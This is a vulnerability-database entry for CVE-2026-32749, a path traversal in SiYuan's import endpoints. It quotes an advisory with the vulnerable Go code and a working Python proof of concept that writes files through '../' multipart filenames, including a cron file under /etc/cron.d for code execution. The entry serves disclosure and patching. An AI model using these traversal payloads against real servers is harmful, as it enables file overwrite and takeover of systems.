FlawAtlas
Search the atlas
CVE-2026-32749 High

SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write in github.com/siyuan-note/siyuan/kernel

SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write in github.com/siyuan-note/siyuan/kernel

Exploit probability 0.4%
Published March 26, 2026
Required by Not available
Last source change March 26, 2026

02 / AFFECTED SOFTWARE

Affected packages

Unknown Unknown

674 explicit affected versions

Go github.com/siyuan-note/siyuan/kernel
Go github.com/siyuan-note/siyuan/kernel

03 / CONNECTIONS

Connected vulnerabilities

related OPENSUSE-SU-2026:21483-1

04 / EVIDENCE

Source records

Open Source Vulnerabilities GHSA-qvvf-q994-x79v

### Summary POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE. ### Details File: kernel/api/import.go - functions importSY and importZipMd ```go file := files[0] writePath := filepath.Join(util.TempDir, "import", file.Filename) writer, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644) ``` importZipMd has a second traversal in unzipPath construction: ```go filenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename)) unzipPath := filepath.Join(util.TempDir, "import", filenameMain) gulu.Zip.Unzip(writePath, unzipPath) ``` filepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client. ### PoC **Environment:** ```bash docker run -d --name siyuan -p 6806:6806 \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123 ``` **Exploit:** ```python import requests, zipfile, io HOST = "http://localhost:6806" TOKEN = "YOUR_ADMIN_TOKEN" buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as z: z.writestr("TestNB/20240101000000-abcdefg.sy", '{"ID":"20240101000000-abcdefg","Spec":"1","Type":"NodeDocument","Children":[]}') z.writestr("TestNB/.siyuan/sort.json", "{}") buf.seek(0) r = requests.post(f"{HOST}/api/import/importSY", headers={"Authorization": f"Token {TOKEN}"}, files={"file": ("../../data/TRAVERSAL_PROOF.zip", buf.read(), "application/zip")}, data={"notebook": "YOUR_NOTEBOOK_ID", "toPath": "/"}) print(r.text) ``` **RCE via cron (root container):** ```python cron = b"* * * * * root touch /tmp/RCE_CONFIRMED\n" r = requests.post(f"{HOST}/api/import/importSY", headers={"Authorization": f"Token {TOKEN}"}, files={"file": ("../../../../../etc/cron.d/siyuan_poc", cron, "application/zip")}, data={"notebook": "NOTEBOOK_ID", "toPath": "/"}) ``` **Confirmed response on v3.6.0:** {"code":0,"msg":"","data":null} ### Impact An admin can write arbitrary content to any path writable by the SiYuan process: - RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys - Data destruction by overwriting workspace or application files - In Docker containers running as root (common default), this grants full container compromise

View original source
Open Source Vulnerabilities GO-2026-4707

SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write in github.com/siyuan-note/siyuan/kernel

View original source
Open Source Vulnerabilities CVE-2026-32749

SiYuan is a personal knowledge management system. In versions 3.6.0 and below, POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE. This can lead to aata destruction by overwriting workspace or application files, and for Docker containers running as root (common default), this grants full container compromise. This issue has been fixed in version 3.6.1.

View original source

05 / REFERENCES

Further evidence